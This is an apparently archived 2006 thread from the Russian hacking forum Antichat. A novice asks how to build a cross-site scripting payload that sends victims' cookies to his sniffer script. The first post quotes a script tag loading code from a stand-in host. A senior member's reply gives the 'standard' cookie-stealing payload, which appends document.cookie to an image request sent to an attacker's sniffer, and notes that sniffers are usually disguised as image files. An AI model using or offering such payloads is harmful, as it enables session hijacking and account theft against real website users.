ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Оффтоп > Болталка
Перезагрузить страницу Xss
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Xss
  #1  
Старый 27.08.2006, 10:51
Аватар для Mikel21
Mikel21
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию Xss
Привет!

Обычно XSS атака выглядет так </a><script src="http://sdf.ru/dsf.js"</script><a>. А если я сделал скрипт для приёма куков через .gif. Т.е. kartinka.gif значит будет <script src="http://sdf.ru/dsf.gif"</script>

И еще нужно xss только через осла будет работать?
 
Ответить с цитированием

  #2  
Старый 27.08.2006, 11:08
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию
Цитата:
А если я сделал скрипт для приёма куков через .gif
Лол, вообще то почти все снифферы через .gif или .jpg.
Цитата:
И еще нужно xss только через осла будет работать?
Есть коды, которые заставляют работать JS и в опере, и в огнелисе. Но приписать их к обычной ссылке врядли удасться.
Цитата:
<script src="http://sdf.ru/dsf.gif"</script>
Хоть бы теги правильно закрыл
__________________
..
 
Ответить с цитированием

  #3  
Старый 27.08.2006, 13:13
Аватар для Mikel21
Mikel21
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию
Цитата:
Сообщение от [sL1p]  
Лол, вообще то почти все снифферы через .gif или .jpg.

Есть коды, которые заставляют работать JS и в опере, и в огнелисе. Но приписать их к обычной ссылке врядли удасться.

Хоть бы теги правильно закрыл
а тогда как правильно ссылку составить, скажи пожалуйста!
 
Ответить с цитированием

  #4  
Старый 27.08.2006, 13:40
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию
Цитата:
Обычно XSS атака выглядет так </a><script src="http://sdf.ru/dsf.js"</script><a>
Что то это не обычно. И закрытый тег <a> вообще не к месту.
Цитата:
а тогда как правильно ссылку составить, скажи пожалуйста!
Стандартный скрипт для xss выглядит вот так:
<script>img = new Image(); img.src = "ссылка на сниффер"+document.cookie;</script>
__________________
..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
IE XSS Kit .Slip Чаты 22 23.10.2006 06:45
Xss черви и вирусы: сообщества уязвимых Utochka Чужие Статьи 3 28.08.2006 00:26
Xss KrikSta E-Mail 7 24.08.2006 13:34
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ